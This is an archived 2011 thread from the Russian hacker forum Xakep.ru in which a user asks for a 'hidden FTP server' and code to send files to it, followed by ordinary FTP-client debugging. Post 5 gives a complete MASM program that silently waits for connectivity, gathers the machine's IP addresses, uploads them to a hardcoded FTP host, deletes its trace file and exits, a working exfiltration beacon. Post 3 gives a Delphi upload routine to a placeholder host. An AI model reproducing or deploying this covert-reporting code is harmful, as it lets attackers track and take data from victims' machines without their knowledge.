Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Нужен подробный пример скрытого ftpserver.

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Нужен подробный пример скрытого ftpserver.
Имя
Сообщение << Старые топики   Новые топики >>
Нужен подробный пример скрытого ftpserver. - 2011-03-26 17:11:27.956666   
Cowboy13

Сообщений: 59
Оценки: 0
Присоединился: 2011-03-06 11:41:58.613333
1. Хочется подробный пример скрытого фтп-сервера.
2. Подробный пример отправки файла на этот фтп.
Post #: 1
RE: Нужен подробный пример скрытого ftpserver. - 2011-03-28 13:54:26.276666   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
1. есть в гугле
2. берёшь тотал коммандер, подключаешься к фтп, копируешь файл…
Post #: 2
RE: Нужен подробный пример скрытого ftpserver. - 2011-03-28 16:30:57.166666   
codemaster

Сообщений: 6
Оценки: 0
Присоединился: 2011-03-24 15:45:33.666666
на delphi отправка на ftp:
uses wininet; ... procedure upload(filename:pchar; ftpfilename:pchar); const port=21; var conn_param,inet_open : hinternet; begin inet_open:=internetopen('iexplore',INTERNET_OPEN_TYPE_DIRECT,nil,nil,0); conn_param:=internetconnect(inet_open,'ftp.host.com',port,'user','password',INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0); sleep(100); ftpputfile(conn_param,filename,ftpfilename,FTP_TRANSFER_TYPE_UNKNOWN,0); internetclosehandle(conn_param); internetclosehandle(inet_open) ; END;

а про скрытый ftp сервер в один пост не напишеш. читай rfc про ftp (http://www.faqs.org/rfcs/rfc959.html)
и пиши.
Post #: 3
RE: Нужен подробный пример скрытого ftpserver. - 2011-04-06 19:18:38.560000   
Cowboy13

Сообщений: 59
Оценки: 0
Присоединился: 2011-03-06 11:41:58.613333
Соединяюсь с ftp сервером с помощью сокета c++. Получаю ответ-приветствие этого сервера. Далее посылаю команду с именем пользователя,но функция recv ничего не возвращает,она попросту зависает. В чем проблема?!
Post #: 4
RE: Нужен подробный пример скрытого ftpserver. - 2011-04-06 20:31:16.440000   
Flint_ta

Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
&nbsp;&nbsp;&nbsp; .686 &nbsp;&nbsp;&nbsp; .model flat, stdcall &nbsp;&nbsp;&nbsp; option casemap :none include \MASM32\INCLUDE\user32.inc include \MASM32\INCLUDE\kernel32.inc include \MASM32\INCLUDE\WS2_32.inc include \MASM32\INCLUDE\wininet.inc include \MASM32\INCLUDE\windows.inc &nbsp;&nbsp;&nbsp; includelib \MASM32\LIB\kernel32.lib includelib \MASM32\LIB\user32.lib includelib \MASM32\LIB\wininet.lib includelib \MASM32\LIB\WS2_32.lib assume fs:nothing &nbsp;&nbsp;&nbsp; .data site &nbsp;&nbsp;&nbsp; db "www.google.com", 0 myftp &nbsp;&nbsp;&nbsp; db "host.ru", 0 myftpname db "Flint_FTP", 0 login &nbsp;&nbsp;&nbsp; db "mylogin", 0 pass &nbsp;&nbsp;&nbsp; db "mypass", 0 FileFTP &nbsp;&nbsp;&nbsp; db "my_IP.txt", 0 .data? hfile &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; db HANDLE dup (?) zapisali &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; db LPDWORD dup (?) wsa &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; db WSADATA dup (?) myname &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; db 100 dup (?) buff &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; db 500 dup (?) hINetSession &nbsp;&nbsp;&nbsp; db HANDLE dup (?) hSession &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; db HANDLE dup (?) TempFolder &nbsp;&nbsp;&nbsp; db MAX_PATH dup (?) FileLocal &nbsp;&nbsp;&nbsp; db MAX_PATH dup (?) .code start: push offset wsa push 0202h call WSAStartup cicle: push offset site call gethostbyname test eax,eax jnz estinet push 5000 call Sleep jmp cicle estinet: push offset wsa push 0101h call WSAStartup push 100 push offset myname Call gethostname push offset myname call gethostbyname mov esi,dword ptr ds:[eax+0ch] cicle2: mov eax,dword ptr ds:[esi] mov eax,dword ptr ds:[eax] push eax call inet_ntoa push eax push offset buff call lstrcat push offset buff call lstrlenA add eax, offset buff mov word ptr ds:[eax],0a0dh add esi,4 cmp dword ptr ds:[esi],0 jnz cicle2 push offset TempFolder push MAX_PATH Call GetTempPathA push offset FileLocal push 0 push 0 push offset TempFolder call GetTempFileNameA PUSH 0 PUSH FILE_ATTRIBUTE_NORMAL PUSH CREATE_ALWAYS PUSH 0 PUSH FILE_SHARE_READ or FILE_SHARE_WRITE PUSH GENERIC_READ or GENERIC_WRITE push offset FileLocal call CreateFileA mov dword ptr ds:[hfile], eax push offset buff Call lstrlenA PUSH 0 push offset zapisali push eax push offset buff push dword ptr ds:[hfile] call WriteFile push dword ptr ds:[hfile] Call CloseHandle push 0 push 0 push 0 push INTERNET_OPEN_TYPE_DIRECT push offset myftpname Call InternetOpen mov dword ptr ds:[hINetSession], eax push 0 push INTERNET_FLAG_PASSIVE push INTERNET_SERVICE_FTP push offset pass push offset login push INTERNET_DEFAULT_FTP_PORT push offset myftp push dword ptr ds:[hINetSession] Call InternetConnect mov dword ptr ds:[hSession], eax push 0 push FTP_TRANSFER_TYPE_BINARY push offset FileFTP push offset FileLocal push dword ptr ds:[hSession] Call FtpPutFile push offset FileLocal Call DeleteFileA push dword ptr ds:[hSession] Call InternetCloseHandle push dword ptr ds:[hINetSession] Call InternetCloseHandle PUSH 0 CALL ExitProcess end start
Post #: 5
RE: Нужен подробный пример скрытого ftpserver. - 2011-04-07 08:20:55.536666   
Cowboy13

Сообщений: 59
Оценки: 0
Присоединился: 2011-03-06 11:41:58.613333
Ааа… Что это?!
Post #: 6
RE: Нужен подробный пример скрытого ftpserver. - 2011-04-07 09:18:19.553333   
Alianna

Сообщений: 1922
Оценки: 356
Присоединился: 2010-03-02 11:27:12.343333
Это ассемблер))
Post #: 7
RE: Нужен подробный пример скрытого ftpserver. - 2011-04-07 12:08:19.850000   
Cowboy13

Сообщений: 59
Оценки: 0
Присоединился: 2011-03-06 11:41:58.613333
Соединяюсь с ftp сервером с помощью сокета c++. Получаю ответ-приветствие этого сервера. Далее посылаю команду с именем пользователя,но функция recv ничего не возвращает,она попросту зависает. В чем проблема?!
Post #: 8
RE: Нужен подробный пример скрытого ftpserver. - 2011-04-07 12:44:17.906666   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Значит ничего не приходит.
Post #: 9
RE: Нужен подробный пример скрытого ftpserver. - 2011-04-10 10:25:24.993333   
Cowboy13

Сообщений: 59
Оценки: 0
Присоединился: 2011-03-06 11:41:58.613333
вот простой пример клиента ftp. но опять проблема!!! не возвращает текущую директорию… голова уже ломится от мыслей, в чем трабл?!

#include "windows.h"
#include <iostream>
#include "wininet.h"
#include <conio.h>
using namespace std;

int main() {
char apphndl[20] = "ftper", path[1024];
HINTERNET handle,handle2;
handle = InternetOpen (apphndl,INTERNET_OPEN_TYPE_DIRECT, NULL, NULL,INTERNET_FLAG_ASYNC);
cout<<handle<<endl;
handle2 = InternetConnect(handle,"192.0.0.5",INTERNET_DEFAULT_FTP_PORT,"anonymous",NULL,INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,*apphndl);
cout<<handle<<endl;
bool foo = FtpGetCurrentDirectory (handle2,path,(DWORD*)1024);
cout<<foo<<endl;
cout<<path<<endl;
InternetCloseHandle (handle);
_getch();
}
Post #: 10
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Нужен подробный пример скрытого ftpserver.







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.